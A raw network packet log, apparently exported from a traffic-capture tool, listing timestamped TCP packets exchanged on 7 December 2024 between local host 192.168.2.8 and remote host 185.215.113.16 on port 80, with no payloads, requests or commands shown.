Dec 7, 2024 15:06:57.808901072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:57.808933020 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:57.809065104 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:57.927026987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:57.927043915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:57.927505970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:57.931051970 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:57.931197882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:57.932777882 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:57.932846069 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:57.932876110 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:57.933006048 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:57.998490095 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:57.998538971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:57.998862982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.002681971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.002784967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.002829075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.003027916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.011260033 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.011338949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.011413097 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.011548996 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.019454002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.019562006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.019661903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.019789934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.027893066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.028017044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.028032064 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.028182983 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.036259890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.036412954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.036420107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.036536932 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.044708967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.044832945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.044924021 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.045072079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.053745985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.053869963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.053908110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.054028034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.061484098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.061582088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.061620951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.061728001 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.069953918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.070055008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.070084095 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.070240974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.077874899 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.077965021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.164221048 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.164293051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.164323092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.164714098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.168250084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.168395996 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.190740108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.190799952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.190828085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.191199064 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.192867994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.192964077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.192990065 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.193135977 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.197395086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.197462082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.197487116 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.197608948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.202585936 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.202749968 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.205110073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.207101107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.207267046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.207283020 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.207398891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.211420059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.211572886 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.211584091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.211705923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.215821981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.215960026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.215986967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.216114044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.220021963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.220036983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.220257998 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.225167990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.225183964 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.228241920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.228271008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.228338003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.229651928 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.232636929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.232733011 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.232758045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.232870102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.237848043 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.237860918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.242460966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.242499113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.242641926 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.245660067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.246871948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.247056961 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.247148037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.247279882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.251282930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.251375914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.251456976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.253915071 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.255676985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.255852938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.255878925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.259171963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.259198904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.259270906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.260699034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.263519049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.263626099 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.263696909 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.263740063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.269917011 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.269931078 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.270111084 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.272388935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.272478104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.272536039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.276814938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.277482986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.356285095 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.356360912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.356450081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.358382940 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.358511925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.360145092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.362807989 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.362858057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.382932901 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.382961988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.382988930 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.383102894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.384349108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.384403944 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.384529114 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.384793997 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.388139009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.388231039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.388251066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.389113903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.391280890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.391390085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.391398907 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.391596079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.394593954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.394687891 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.394730091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.394788027 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.397936106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.398046017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.398134947 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.401245117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.401381016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.401403904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.401523113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.404396057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.404512882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.404534101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.404661894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.407548904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.407629013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.409683943 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.410737991 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.410825014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.410842896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.410916090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.414016962 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.414069891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.414119005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.414156914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.417043924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.417108059 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.417124987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.417159081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.420238972 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.420280933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.420332909 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.420366049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.423414946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.423454046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.423482895 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.423516989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.426553965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.426594019 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.426772118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.426817894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.429744959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.429784060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.429897070 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.429934025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.432872057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.432912111 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.433002949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.433038950 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.436054945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.436093092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.436300993 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.436599970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.439224958 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.439270020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.439332962 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.439373016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.442378044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.442423105 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.442497015 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.442539930 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.445545912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.445591927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.445657015 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.445700884 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.451627016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.451663017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.451679945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.451705933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.453511953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.453562975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.453706980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.453753948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.456149101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.456162930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.456202030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.456231117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.458235025 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.458283901 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.458287954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.458323956 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.462105036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.462151051 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.462230921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.462272882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.465073109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.465126038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.465514898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.465569019 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.467724085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.467768908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.467838049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.467885017 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.471096992 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.471117973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.471158981 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.471185923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.474069118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.474118948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.474211931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.474252939 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.477277994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.477320910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.477329969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.477361917 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.480396986 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.480451107 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.480506897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.480556965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.483602047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.483654022 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.483724117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.483783007 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.486771107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.486824989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.548204899 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.548255920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.548260927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.548297882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.549721003 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.549770117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.549787045 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.549825907 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.552699089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.552752018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.552894115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.552946091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.555752993 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.555808067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.555843115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.555907965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.558624983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.558693886 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.558716059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.558758020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.574661016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.574800968 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.574863911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.574909925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.575872898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.575937033 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.575951099 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.575989008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.578279018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.578347921 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.578500032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.578548908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.580751896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.580811024 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.580843925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.580888987 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.583118916 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.583189964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.583225012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.583275080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.585463047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.585525036 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.585542917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.585592985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.587759018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.587826967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.587913990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.587954998 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.592051029 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.592063904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.592128992 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.593040943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.593097925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.593241930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.593288898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.595242023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.595307112 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.595524073 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.595575094 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.597486019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.597543955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.597625017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.597671986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.598773956 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.598834038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.598896980 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.598947048 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.600936890 CET	80	49740	185.215.113.16	192.168.2.8
